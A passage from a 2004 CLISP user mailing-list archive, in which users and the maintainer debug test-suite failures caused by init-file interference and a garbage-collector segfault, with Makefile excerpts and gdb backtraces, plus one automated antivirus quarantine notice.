:FOO ',(FOO OBJ))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS2) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS2 :FOO ',(FOO OBJ))) (DEFPARAMETER *T-LIST* (LIST (MAKE-INSTANCE 'TEST-CLASS1 :FOO 100) (MAKE-INSTANCE 'TEST-CLASS2 :FOO 200))) (MLF-TESTER '*T-LIST*) (MAPCAR #'FOO *T-LIST*)) > CORRECT: (100 200) > CLISP : ERROR > LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist WFM. could you please investigate why it is looking in CLOCC ? > Form: (PROGN (DEFCLASS POS NIL ((X :INITARG :X :READER POS-X) (Y :INITARG :Y :READER POS-Y) (R :ACCESSOR POS-R))) (DEFMETHOD SHARED-INITIALIZE :AFTER ((SELF POS) IGNORE1 &REST IGNORE2) (DECLARE (IGNORE IGNORE1 IGNORE2)) (UNLESS (SLOT-BOUNDP SELF 'R) (SETF (POS-R SELF) (SQRT (+ (* (POS-X SELF) (POS-X SELF)) (* (POS-Y SELF) (POS-Y SELF))))))) (DEFMETHOD MAKE-LOAD-FORM ((SELF POS) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE ',(CLASS-NAME (CLASS-OF SELF)) :X ',(POS-X SELF) :Y ',(POS-Y SELF))) (SETQ *FOO* (MAKE-INSTANCE 'POS :X 3.0 :Y 4.0)) (MLF-TESTER '*FOO*) (LIST (POS-X *FOO*) (POS-Y *FOO*) (POS-R *FOO*))) > CORRECT: (3.0 4.0 5.0) > CLISP : ERROR > LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist ditto. > Form: (PROGN (DEFCLASS TREE-WITH-PARENT NIL ((PARENT :ACCESSOR TREE-PARENT) (CHILDREN :INITARG :CHILDREN))) (DEFMETHOD MAKE-LOAD-FORM ((X TREE-WITH-PARENT) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) (VALUES `(MAKE-INSTANCE ',(CLASS-NAME (CLASS-OF X))) `(SETF (TREE-PARENT ',X) ',(SLOT-VALUE X 'PARENT) (SLOT-VALUE ',X 'CHILDREN) ',(SLOT-VALUE X 'CHILDREN)))) (SETQ *FOO* (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN (LIST (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN NIL) (MAKE-INSTANCE 'TREE-WITH-PARENT :CHILDREN NIL)))) (SETF (TREE-PARENT *FOO*) *FOO*) (DOLIST (CH (SLOT-VALUE *FOO* 'CHILDREN)) (SETF (TREE-PARENT CH) *FOO*)) (MLF-TESTER '*FOO*) (LIST (EQ *FOO* (TREE-PARENT *FOO*)) (EVERY (LAMBDA (X) (EQ X *FOO*)) (MAPCAR #'TREE-PARENT (SLOT-VALUE *FOO* 'CHILDREN))) (EVERY #'NULL (MAPCAR (LAMBDA (X) (SLOT-VALUE X 'CHILDREN)) (SLOT-VALUE *FOO* 'CHILDREN))))) > CORRECT: (T T T) > CLISP : ERROR > LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist ditto. > I'd suggest to add -norc in src/suite/Makefile: > > tests : force > $(LISP) -norc -C -i tests.lisp -x '(time (run-all-tests))' > > complete : force > $(LISP) -norc -C -i tests.lisp -x '(time (run-all-tests nil))' > > compare : force > (echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo " cat "`pwd`"/*.erg" ; exit 1) > echo "Test passed." > > %.erg: %.tst $(BD)/lispinit.mem $(BD)/lisp$(LEXE) > $(LISP) -norc -i tests.lisp -x '(run-test "$<")' $(LISP) already has "-norc" in it. -- Sam Steingold (http://www.podval.org/~sds) running w2k Someone has changed your life. Save? (y/n) From pascal@informatimago.com Sun Mar 21 10:02:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B57H8-0000DE-Nl for clisp-list@lists.sourceforge.net; Sun, 21 Mar 2004 10:02:18 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B57Gs-0008D4-He for clisp-list@lists.sourceforge.net; Sun, 21 Mar 2004 10:02:02 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2F500586E2; Sun, 21 Mar 2004 19:01:20 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 7726C50440; Sun, 21 Mar 2004 19:02:57 +0100 (CET) Message-ID: <16477.55505.400940.443600@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: installation troubles on RH In-Reply-To: References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <16477.37343.721088.181708@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 21 10:03:04 2004 X-Original-Date: Sun, 21 Mar 2004 19:02:57 +0100 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-03-21 14:00:15 +0100]: > > > > With version 2.33, I get these errors: > > > > > > Test failed: > > -rw------- 1 pascal local 2574 2004-03-21 08:03 clos.erg > > To see which tests failed, type > > cat /local/src/clisp-2.33/src/suite/*.erg > > make[1]: *** [compare] Error 1 > > make[1]: Leaving directory `/local/src/clisp-2.33/src/suite' > > make: *** [testsuite] Error 2 > > > > *** - > > > > $ cat src/suite/*.erg > > > > Form: (PROGN (DEFCLASS TEST-CLASS1 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFCLASS TEST-CLASS2 NIL ((FOO :INITARG :FOO :ACCESSOR FOO :INITFORM 0))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS1) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS1 :FOO ',(FOO OBJ))) (DEFMETHOD MAKE-LOAD-FORM ((OBJ TEST-CLASS2) &OPTIONAL ENVIRONMENT) (DECLARE (IGNORE ENVIRONMENT)) `(MAKE-INSTANCE 'TEST-CLASS2 :FOO ',(FOO OBJ))) (DEFPARAMETER *T-LIST* (LIST (MAKE-INSTANCE 'TEST-CLASS1 :FOO 100) (MAKE-INSTANCE 'TEST-CLASS2 :FOO 200))) (MLF-TESTER '*T-LIST*) (MAPCAR #'FOO *T-LIST*)) > > CORRECT: (100 200) > > CLISP : ERROR > > LOAD: A file with name /usr/local/share/lisp/clocc-head/src/tools/ansi-test/make-load-form-demo.fas does not exist > > WFM. > could you please investigate why it is looking in CLOCC ? It's obvious: [pascal@thalassa clisp-2.33]$ find . -name make-load-form-demo\* ./src/suite/make-load-form-demo.fas The suite tries to load its own make-load-form-demo.fas, but there is another make-load-form-demo.lisp somewhere else. My .clisprc.lisp defines some logical pathname translations and some variables that interfere with the loading of clisp-2.33 copy of the suite. > > I'd suggest to add -norc in src/suite/Makefile: > > > > tests : force > > $(LISP) -norc -C -i tests.lisp -x '(time (run-all-tests))' > > > > complete : force > > $(LISP) -norc -C -i tests.lisp -x '(time (run-all-tests nil))' > > > > compare : force > > (echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo " cat "`pwd`"/*.erg" ; exit 1) > > echo "Test passed." > > > > %.erg: %.tst $(BD)/lispinit.mem $(BD)/lisp$(LEXE) > > $(LISP) -norc -i tests.lisp -x '(run-test "$<")' > > $(LISP) already has "-norc" in it. No it does not. suite/Makefile does indeed has a LISP= with -norc, but it's invoked from src/Makefile without -norc: /local/src/clisp-2.33/src/suite/Makefile:9:LISP=$(BD)/lisp$(LEXE) -E utf-8 -norc -B $(BD) -M $(BD)/lispinit.mem /local/src/clisp-2.33/src/Makefile:2145: cd suite && $(MAKE) LISP="$(bindir)/clisp" $ mkdir /tmp/test ; cd /tmp/test $ echo 'VAR=foo /all: ; @echo $(VAR)/'|tr / '\012'>Makefile $ make VAR=bar bar -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From sds@gnu.org Sun Mar 21 10:56:35 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B587f-0006L4-Iu for clisp-list@lists.sourceforge.net; Sun, 21 Mar 2004 10:56:35 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B587d-0005qV-Pu for clisp-list@lists.sourceforge.net; Sun, 21 Mar 2004 10:56:33 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1B587c-0005Br-00; Sun, 21 Mar 2004 13:56:32 -0500 To: clisp-list@lists.sourceforge.net, Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16477.55505.400940.443600@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Sun, 21 Mar 2004 19:02:57 +0100") References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <16477.37343.721088.181708@thalassa.informatimago.com> <16477.55505.400940.443600@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 21 10:57:08 2004 X-Original-Date: Sun, 21 Mar 2004 13:56:29 -0500 > * Pascal J.Bourguignon [2004-03-21 19:02:57 +0100]: > > /local/src/clisp-2.33/src/Makefile:2145: cd suite && $(MAKE) LISP="$(bindir)/clisp" thanks, fixed in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running w2k This message is rot13 encrypted (twice!); reading it violates DMCA. From sds@gnu.org Sun Mar 21 11:05:48 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B58Ga-0000Yu-6U for clisp-list@lists.sourceforge.net; Sun, 21 Mar 2004 11:05:48 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B58GZ-0005bd-9u for clisp-list@lists.sourceforge.net; Sun, 21 Mar 2004 11:05:47 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1B58GY-0006Aj-00; Sun, 21 Mar 2004 14:05:46 -0500 To: clisp-list@lists.sourceforge.net, gene@acm.org Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403211659.i2LGx3gu020457@sdf.lonestar.org> (Gene Michael Stover's message of "Sun, 21 Mar 2004 16:59:03 GMT") References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <200403211659.i2LGx3gu020457@sdf.lonestar.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, gene@acm.org Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 21 11:06:03 2004 X-Original-Date: Sun, 21 Mar 2004 14:05:44 -0500 > * Gene Michael Stover [2004-03-21 16:59:03 +0000]: > > gcc (GCC) 3.2.3 20030502 (Red Hat Linux 3.2.3-24) excellent! 3.3 has a C++ bug, but your setup is good... > [3]> (time (moo 10000)) ; will need to GC, will SIGSEGV > Segmentation fault OK, so you are getting a GC segfault. this is usually an indicator of a GC-safety bug, not a bug in GC. see . Please do CC=g++ ./configure --with-debug build-g-gxx you should get an abort. then run under GDB and see where you get the abort. > ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" > ;; Loading file defmacro.lisp ...make: *** [interpreted.mem] Segmentation fault yep, this is the first GC. > I don't see a backtrace. to get the backtrace, you need to run under gdb. PS. thank you very much for such a detailed and thorough report. -- Sam Steingold (http://www.podval.org/~sds) running w2k There are no answers, only cross references. From N-BIZET%NOTESESIEAADM@esiea.fr Mon Mar 22 01:20:28 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B5Lbc-0005HX-WC for clisp-list@lists.sourceforge.net; Mon, 22 Mar 2004 01:20:24 -0800 Received: from verdi.esiea-ouest.fr ([195.221.214.1] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B5Lbc-0006iD-1i for clisp-list@lists.sourceforge.net; Mon, 22 Mar 2004 01:20:24 -0800 Received: by verdi.esiea-ouest.fr (Postfix, from userid 1001) id EF57D277B3; Mon, 22 Mar 2004 10:20:17 +0100 (CET) Received: from bizet.esiea-ouest.fr (bizet.esiea-ouest.fr [195.221.214.67]) by verdi.esiea-ouest.fr (Postfix) with ESMTP id 73224276B6 for ; Mon, 22 Mar 2004 10:20:06 +0100 (CET) To: clisp-list@lists.sourceforge.net From: N-BIZET%NOTESESIEAADM@esiea.fr X-Priority: 3 (Normal) Message-ID: X-MIMETrack: Serialize by Router on N-BIZET/LAVAL/ESIEAADM/FR(Release 5.0.8 |June 18, 2001) at 22/03/2004 10:20:06 MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on verdi.esiea-ouest.fr X-Spam-Level: X-Spam-Status: No, hits=-3.5 required=5.0 tests=AWL,BAYES_00,NO_REAL_NAME, PRIORITY_NO_NAME autolearn=no version=2.60 X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.8 PRIORITY_NO_NAME Message has priority setting, but no X-Mailer Subject: [clisp-list] SAV a =?iso-8859-1?Q?d=E9tect=E9_une_violation_dans_un_document_dont_vous?= =?iso-8859-1?Q?_=EAtes_l'auteur=2E?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 22 01:21:21 2004 X-Original-Date: Mon, 22 Mar 2004 10:20:05 +0100 Veuillez contacter votre administrateur syst=E8me. Le document analys=E9 a =E9t=E9 MIS EN QUARANTAINE. Informations de violation : La pi=E8ce jointe your_document.pif contenait le virus W32.Netsky.D@mm = et N'a PAS pu =EAtre r=E9par=E9e. = From gms@sdf.lonestar.org Mon Mar 22 09:41:22 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B5TQP-0001cL-VP for clisp-list@lists.sourceforge.net; Mon, 22 Mar 2004 09:41:21 -0800 Received: from ol.freeshell.org ([192.94.73.20] helo=sdf.lonestar.org ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B5TQN-0008At-0j for clisp-list@lists.sourceforge.net; Mon, 22 Mar 2004 09:41:19 -0800 Received: from sdf.lonestar.org (IDENT:gms@xm.freeshell.org [192.94.73.22]) by sdf.lonestar.org (8.12.10/8.12.10) with ESMTP id i2MHf1mZ009436 for ; Mon, 22 Mar 2004 17:41:04 GMT Received: (from gms@localhost) by sdf.lonestar.org (8.12.10/8.12.8/Submit) id i2MHf1bO005317; Mon, 22 Mar 2004 17:41:01 GMT Message-Id: <200403221741.i2MHf1bO005317@sdf.lonestar.org> From: Gene Michael Stover To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Sun, 21 Mar 2004 14:05:44 -0500) Reply-to: gene@acm.org References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <200403211659.i2LGx3gu020457@sdf.lonestar.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 22 09:42:03 2004 X-Original-Date: Mon, 22 Mar 2004 17:41:01 GMT Hi Sam, > Please do > CC=g++ ./configure --with-debug build-g-gxx > you should get an abort. > then run under GDB and see where you get the abort. I did the ./configure you recommended & then the gdb dance. Here's the top of the backtrace (plus the last few lines of the run for context). (Entire backtrace is at .) gc_mark obj = 0x680775d3 down: vorg = 0x0, dies = 0x680775d3 up: vorg = 0x0, dies = 0x680775d3 gc_mark_stack: 0xb71cf29c/3072127644 (3758096392) gc_mark_stack: 0xb71cf298/3072127640 (3072127492) gc_mark_stack: 0xb71cf290/3072127632 (1) gc_mark obj = 0x1 down: vorg = 0x0, dies = 0x1 Program received signal SIGSEGV, Segmentation fault. 0x0804cf3b in gc_mark (obj={one_o = 1}) at spvw_garcol.d:320 320 switch (Record_type(dies)) { (gdb) backtrace #0 0x0804cf3b in gc_mark (obj={one_o = 1}) at spvw_garcol.d:320 #1 0x0804d3ae in gc_mark_stack (objptr=0xb71cf290) at spvw_garcol.d:521 #2 0x0804d3d8 in gc_markphase () at spvw_garcol.d:532 #3 0x0804deb2 in gar_col_normal () at spvw_garcol.d:1718 #4 0x0804fe45 in do_gar_col_simple () at spvw_garcol.d:2603 #5 0x0811ba5d in with_gc_statistics (fun=0x804fe2c ) at predtype.d:2801 #6 0x0804fe67 in gar_col_simple () at spvw_garcol.d:2632 #7 0x08050159 in make_space_gc_false (need=8, heapptr=0x81fc274) at spvw_allocate.d:277 #8 0x08050298 in allocate_cons () at spvw_typealloc.d:47 #9 0x080bc04a in read_delimited_list_recursive (stream_=0xb71cf37c, endch= {one_o = 5287}, ifdotted={one_o = 1752073919}) at io.d:2425 #10 0x080bbcc4 in read_delimited_list (stream_=0xb71cf37c, endch= {one_o = 5287}, ifdotted={one_o = 1752073919}) at io.d:2376 #11 0x080bc63d in C_lpar_reader () at io.d:2539 #12 0x08069a1d in funcall_subr (fun={one_o = 136231402}, args_on_stack=2) at eval.d:5198 #13 0x08068df7 in funcall (fun={one_o = 136231402}, args_on_stack=2) at eval.d:4800 #14 0x080ba5a3 in read_macro (ch={one_o = 5159}, stream_=0xb71cf368) at io.d:1865 #15 0x080bc014 in read_delimited_list_recursive (stream_=0xb71cf368, endch= ---Type to continue, or q to quit--- From sds@gnu.org Mon Mar 22 10:55:06 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B5UZl-0004iG-Kv for clisp-list@lists.sourceforge.net; Mon, 22 Mar 2004 10:55:05 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B5UZh-0005xN-K5 for clisp-list@lists.sourceforge.net; Mon, 22 Mar 2004 10:55:01 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i2MIsh4P019145; Mon, 22 Mar 2004 13:54:43 -0500 (EST) To: clisp-list@lists.sourceforge.net, gene@acm.org Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200403221741.i2MHf1bO005317@sdf.lonestar.org> (Gene Michael Stover's message of "Mon, 22 Mar 2004 17:41:01 GMT") References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <200403211659.i2LGx3gu020457@sdf.lonestar.org> <200403221741.i2MHf1bO005317@sdf.lonestar.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, gene@acm.org Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 22 10:56:01 2004 X-Original-Date: Mon, 22 Mar 2004 13:54:38 -0500 Hi Gene, > * Gene Michael Stover [2004-03-22 17:41:01 +0000]: > >> CC=g++ ./configure --with-debug build-g-gxx >> you should get an abort. >> then run under GDB and see where you get the abort. > > I did the ./configure you recommended & then the gdb dance. correct me if I am wrong, but you are not using G++, right? note that setting of CC=g++ above! > gc_mark obj = 0x680775d3 > down: vorg = 0x0, dies = 0x680775d3 > up: vorg = 0x0, dies = 0x680775d3 > gc_mark_stack: 0xb71cf29c/3072127644 (3758096392) > gc_mark_stack: 0xb71cf298/3072127640 (3072127492) > gc_mark_stack: 0xb71cf290/3072127632 (1) > gc_mark obj = 0x1 > down: vorg = 0x0, dies = 0x1 if you crash in GC, it is probably long after the actual bug. if you build with g++ and DEBUG_GCSAFETY (enabled by --with-debug), CLISP will abort at the precise error spot. -- Sam Steingold (http://www.podval.org/~sds) running w2k usually: can't pay ==> don't buy. software: can't buy ==> don't pay From gms@sdf.lonestar.org Mon Mar 22 11:59:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B5VaJ-0002rz-AI for clisp-list@lists.sourceforge.net; Mon, 22 Mar 2004 11:59:43 -0800 Received: from ol.freeshell.org ([192.94.73.20] helo=sdf.lonestar.org ident=root) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B5VaG-0001yI-LR for clisp-list@lists.sourceforge.net; Mon, 22 Mar 2004 11:59:40 -0800 Received: from sdf.lonestar.org (IDENT:gms@vinland.freeshell.org [192.94.73.6]) by sdf.lonestar.org (8.12.10/8.12.10) with ESMTP id i2MJxNIa021911 for ; Mon, 22 Mar 2004 19:59:24 GMT Received: (from gms@localhost) by sdf.lonestar.org (8.12.10/8.12.8/Submit) id i2MJxNhN009431; Mon, 22 Mar 2004 19:59:23 GMT Message-Id: <200403221959.i2MJxNhN009431@sdf.lonestar.org> From: Gene Michael Stover To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Mon, 22 Mar 2004 13:54:38 -0500) Reply-to: gene@acm.org References: <200403210701.i2L71QtE005519@sdf.lonestar.org> <200403211659.i2LGx3gu020457@sdf.lonestar.org> <200403221741.i2MHf1bO005317@sdf.lonestar.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: installation troubles on RH Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 22 12:00:17 2004 X-Original-Date: Mon, 22 Mar 2004 19:59:23 GMT > correct me if I am wrong, but you are not using G++, right? > note that setting of CC=g++ above! My mistake. I've run it again, & here's the last of the run plus the top of the backstacktrace. The full log (including the ./configure & make output) are at . The exact commands I used are at . I'm kind of concerned I didn't configure it correctly even this time because there's less output & because of the warning about the language mismatching the frame. But the stack trace is much larger. gene ;; begin output & backtrace Function "sigsegv_handler_failed" not defined. STACK depth: 23979 SP depth: 67110230 WARNING: *FOREIGN-ENCODING*: reset to ASCII WARNING: *FOREIGN-ENCODING*: reset to ASCII Program received signal SIGSEGV, Segmentation fault. 0x0804e434 in gc_mark (obj={one_o = 1, allocstamp = 32898}) at spvw_garcol.d:320 320 switch (Record_type(dies)) { Warning: the current language does not match this frame. (gdb) backtrace #0 0x0804e434 in gc_mark (obj={one_o = 1, allocstamp = 32898}) at spvw_garcol.d:320 #1 0x0804ec9c in gc_mark_stack (objptr=0xb70f1794) at spvw_garcol.d:521 #2 0x0804eccc in gc_markphase () at spvw_garcol.d:532 #3 0x0804fd44 in gar_col_normal () at spvw_garcol.d:1718 #4 0x080531c1 in do_gar_col_simple () at spvw_garcol.d:2603 #5 0x08229b48 in with_gc_statistics(void (*)()) ( fun=0x80531a8 ) at predtype.d:2801 #6 0x080531e3 in gar_col_simple () at spvw_garcol.d:2632 #7 0x0805349a in make_space_gc_true (need=16, heapptr=0x835ef64) at spvw_allocate.d:216 #8 0x080539bb in allocate_vector(unsigned long) (len=2) at spvw_typealloc.d:92 #9 0x0810c50b in test_env () at control.d:1964 #10 0x0810c679 in C_macro_function() () at control.d:1980 From sds@gnu.org Mon Mar 22 12:36:37 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B5WA0-0002fn-Lq for clisp-list@lists.sourceforge.net; Mon, 22 Mar 2004 12:36:36 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B5W9z-0005Wb-6Q for clisp-list@lists.sourceforge.net; Mon, 22 Mar 2004 12:36:35 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP 